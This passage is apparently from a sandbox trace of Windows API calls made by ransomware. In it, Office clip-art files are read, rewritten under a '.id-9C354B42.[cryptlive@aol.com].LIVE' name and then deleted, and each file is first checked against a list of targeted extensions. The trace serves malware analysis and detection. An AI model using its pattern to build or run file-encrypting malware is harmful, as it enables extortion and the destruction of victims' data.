-1 [0159.015] lstrlenW (lpString=".docx") returned 5 [0159.015] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0159.015] lstrlenW (lpString=".pdf") returned 4 [0159.015] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.015] lstrlenW (lpString=".xls") returned 4 [0159.015] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.015] lstrlenW (lpString=".xlsx") returned 5 [0159.015] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0159.015] lstrlenW (lpString=".ppt") returned 4 [0159.015] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152590.WMF") returned 63 [0159.015] lstrlenW (lpString=".zip") returned 4 [0159.015] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.015] lstrlenW (lpString=".rar") returned 4 [0159.015] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.015] lstrlenW (lpString=".bz2") returned 4 [0159.015] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.015] lstrlenW (lpString=".7z") returned 3 [0159.015] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152590.WMF") returned 63 [0159.015] lstrlenW (lpString=".dbf") returned 4 [0159.015] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152590.WMF") returned 63 [0159.015] lstrlenW (lpString=".1cd") returned 4 [0159.015] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152590.WMF") returned 63 [0159.016] lstrlenW (lpString=".jpg") returned 4 [0159.016] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.016] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0159.016] lstrlenW (lpString="J0152600.WMF") returned 12 [0159.016] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152600.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152600.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0159.017] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=9768) returned 1 [0159.017] CloseHandle (hObject=0x1e0) returned 1 [0159.017] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152600.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152600.wmf")) returned 0x20 [0159.017] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152600.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152600.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0159.018] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152600.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152600.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0159.018] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0159.018] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0159.018] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152600.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152600.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0159.020] GetLastError () returned 0x0 [0159.020] ReadFile (in: hFile=0x1e0, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x2628, lpOverlapped=0x0) returned 1 [0159.072] WriteFile (in: hFile=0x1dc, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0x2630, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x2630, lpOverlapped=0x0) returned 1 [0159.073] ReadFile (in: hFile=0x1e0, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0159.073] WriteFile (in: hFile=0x1dc, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0159.073] SetEndOfFile (hFile=0x1dc) returned 1 [0159.073] CloseHandle (hObject=0x1dc) returned 1 [0159.073] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0159.073] SetEndOfFile (hFile=0x1e0) returned 1 [0159.076] CloseHandle (hObject=0x1e0) returned 1 [0159.076] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152600.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0159.096] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152600.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152600.wmf")) returned 1 [0159.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152600.WMF") returned 63 [0159.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152600.WMF") returned 63 [0159.443] lstrlenW (lpString=".doc") returned 4 [0159.443] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.443] lstrlenW (lpString=".docx") returned 5 [0159.443] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0159.443] lstrlenW (lpString=".pdf") returned 4 [0159.443] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.443] lstrlenW (lpString=".xls") returned 4 [0159.443] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.443] lstrlenW (lpString=".xlsx") returned 5 [0159.443] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0159.443] lstrlenW (lpString=".ppt") returned 4 [0159.443] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152600.WMF") returned 63 [0159.443] lstrlenW (lpString=".zip") returned 4 [0159.443] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.443] lstrlenW (lpString=".rar") returned 4 [0159.443] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.443] lstrlenW (lpString=".bz2") returned 4 [0159.443] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.443] lstrlenW (lpString=".7z") returned 3 [0159.443] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152600.WMF") returned 63 [0159.443] lstrlenW (lpString=".dbf") returned 4 [0159.443] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152600.WMF") returned 63 [0159.443] lstrlenW (lpString=".1cd") returned 4 [0159.443] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152600.WMF") returned 63 [0159.443] lstrlenW (lpString=".jpg") returned 4 [0159.444] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152600.WMF") returned 63 [0159.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152600.WMF") returned 63 [0159.444] lstrlenW (lpString=".doc") returned 4 [0159.444] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.444] lstrlenW (lpString=".docx") returned 5 [0159.444] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0159.444] lstrlenW (lpString=".pdf") returned 4 [0159.444] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.444] lstrlenW (lpString=".xls") returned 4 [0159.444] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.444] lstrlenW (lpString=".xlsx") returned 5 [0159.444] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0159.444] lstrlenW (lpString=".ppt") returned 4 [0159.444] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152600.WMF") returned 63 [0159.444] lstrlenW (lpString=".zip") returned 4 [0159.444] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.444] lstrlenW (lpString=".rar") returned 4 [0159.444] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.444] lstrlenW (lpString=".bz2") returned 4 [0159.444] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.444] lstrlenW (lpString=".7z") returned 3 [0159.444] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152600.WMF") returned 63 [0159.444] lstrlenW (lpString=".dbf") returned 4 [0159.444] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152600.WMF") returned 63 [0159.444] lstrlenW (lpString=".1cd") returned 4 [0159.444] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152600.WMF") returned 63 [0159.444] lstrlenW (lpString=".jpg") returned 4 [0159.444] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.445] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0159.445] lstrlenW (lpString="J0152628.WMF") returned 12 [0159.445] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152628.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152628.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0159.445] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=30812) returned 1 [0159.445] CloseHandle (hObject=0x1fc) returned 1 [0159.445] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152628.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152628.wmf")) returned 0x20 [0159.445] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152628.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152628.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0159.446] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152628.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152628.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0159.446] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0159.446] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0159.446] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152628.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152628.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0159.447] GetLastError () returned 0x0 [0159.447] ReadFile (in: hFile=0x1fc, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x785c, lpOverlapped=0x0) returned 1 [0159.449] WriteFile (in: hFile=0x1b4, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0x7860, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x7860, lpOverlapped=0x0) returned 1 [0159.450] ReadFile (in: hFile=0x1fc, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0159.450] WriteFile (in: hFile=0x1b4, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0159.451] SetEndOfFile (hFile=0x1b4) returned 1 [0159.451] CloseHandle (hObject=0x1b4) returned 1 [0159.451] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0159.451] SetEndOfFile (hFile=0x1fc) returned 1 [0159.453] CloseHandle (hObject=0x1fc) returned 1 [0159.453] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152628.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0159.517] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152628.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152628.wmf")) returned 1 [0159.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152628.WMF") returned 63 [0159.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152628.WMF") returned 63 [0159.518] lstrlenW (lpString=".doc") returned 4 [0159.518] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.518] lstrlenW (lpString=".docx") returned 5 [0159.518] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0159.518] lstrlenW (lpString=".pdf") returned 4 [0159.518] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.518] lstrlenW (lpString=".xls") returned 4 [0159.518] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.518] lstrlenW (lpString=".xlsx") returned 5 [0159.518] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0159.518] lstrlenW (lpString=".ppt") returned 4 [0159.518] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152628.WMF") returned 63 [0159.518] lstrlenW (lpString=".zip") returned 4 [0159.518] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.518] lstrlenW (lpString=".rar") returned 4 [0159.518] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.518] lstrlenW (lpString=".bz2") returned 4 [0159.518] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.518] lstrlenW (lpString=".7z") returned 3 [0159.518] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152628.WMF") returned 63 [0159.518] lstrlenW (lpString=".dbf") returned 4 [0159.519] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152628.WMF") returned 63 [0159.519] lstrlenW (lpString=".1cd") returned 4 [0159.519] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152628.WMF") returned 63 [0159.519] lstrlenW (lpString=".jpg") returned 4 [0159.519] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152628.WMF") returned 63 [0159.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152628.WMF") returned 63 [0159.519] lstrlenW (lpString=".doc") returned 4 [0159.519] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.519] lstrlenW (lpString=".docx") returned 5 [0159.519] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0159.519] lstrlenW (lpString=".pdf") returned 4 [0159.519] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.519] lstrlenW (lpString=".xls") returned 4 [0159.519] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.519] lstrlenW (lpString=".xlsx") returned 5 [0159.519] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0159.519] lstrlenW (lpString=".ppt") returned 4 [0159.519] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152628.WMF") returned 63 [0159.519] lstrlenW (lpString=".zip") returned 4 [0159.519] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.519] lstrlenW (lpString=".rar") returned 4 [0159.519] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.519] lstrlenW (lpString=".bz2") returned 4 [0159.519] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.519] lstrlenW (lpString=".7z") returned 3 [0159.519] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152628.WMF") returned 63 [0159.519] lstrlenW (lpString=".dbf") returned 4 [0159.519] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152628.WMF") returned 63 [0159.520] lstrlenW (lpString=".1cd") returned 4 [0159.520] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152628.WMF") returned 63 [0159.520] lstrlenW (lpString=".jpg") returned 4 [0159.520] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.520] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0159.520] lstrlenW (lpString="J0152688.WMF") returned 12 [0159.520] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152688.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152688.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0159.521] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=34676) returned 1 [0159.521] CloseHandle (hObject=0x384) returned 1 [0159.521] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152688.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152688.wmf")) returned 0x20 [0159.521] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152688.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152688.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0159.521] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152688.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152688.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0159.521] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0159.521] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0159.521] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152688.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152688.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0159.522] GetLastError () returned 0x0 [0159.522] ReadFile (in: hFile=0x384, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x8774, lpOverlapped=0x0) returned 1 [0159.590] WriteFile (in: hFile=0x3c4, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0x8780, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x8780, lpOverlapped=0x0) returned 1 [0159.592] ReadFile (in: hFile=0x384, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0159.592] WriteFile (in: hFile=0x3c4, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0159.592] SetEndOfFile (hFile=0x3c4) returned 1 [0159.592] CloseHandle (hObject=0x3c4) returned 1 [0159.592] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0159.592] SetEndOfFile (hFile=0x384) returned 1 [0159.595] CloseHandle (hObject=0x384) returned 1 [0159.595] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152688.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0159.595] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152688.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152688.wmf")) returned 1 [0159.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152688.WMF") returned 63 [0159.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152688.WMF") returned 63 [0159.596] lstrlenW (lpString=".doc") returned 4 [0159.596] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.596] lstrlenW (lpString=".docx") returned 5 [0159.596] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0159.596] lstrlenW (lpString=".pdf") returned 4 [0159.596] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.596] lstrlenW (lpString=".xls") returned 4 [0159.596] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.596] lstrlenW (lpString=".xlsx") returned 5 [0159.596] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0159.596] lstrlenW (lpString=".ppt") returned 4 [0159.596] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152688.WMF") returned 63 [0159.596] lstrlenW (lpString=".zip") returned 4 [0159.596] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.596] lstrlenW (lpString=".rar") returned 4 [0159.597] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.597] lstrlenW (lpString=".bz2") returned 4 [0159.597] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.597] lstrlenW (lpString=".7z") returned 3 [0159.597] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152688.WMF") returned 63 [0159.597] lstrlenW (lpString=".dbf") returned 4 [0159.597] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152688.WMF") returned 63 [0159.597] lstrlenW (lpString=".1cd") returned 4 [0159.597] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152688.WMF") returned 63 [0159.597] lstrlenW (lpString=".jpg") returned 4 [0159.597] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152688.WMF") returned 63 [0159.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152688.WMF") returned 63 [0159.597] lstrlenW (lpString=".doc") returned 4 [0159.597] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.597] lstrlenW (lpString=".docx") returned 5 [0159.597] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0159.597] lstrlenW (lpString=".pdf") returned 4 [0159.597] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.597] lstrlenW (lpString=".xls") returned 4 [0159.597] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.597] lstrlenW (lpString=".xlsx") returned 5 [0159.597] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0159.597] lstrlenW (lpString=".ppt") returned 4 [0159.597] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152688.WMF") returned 63 [0159.597] lstrlenW (lpString=".zip") returned 4 [0159.597] 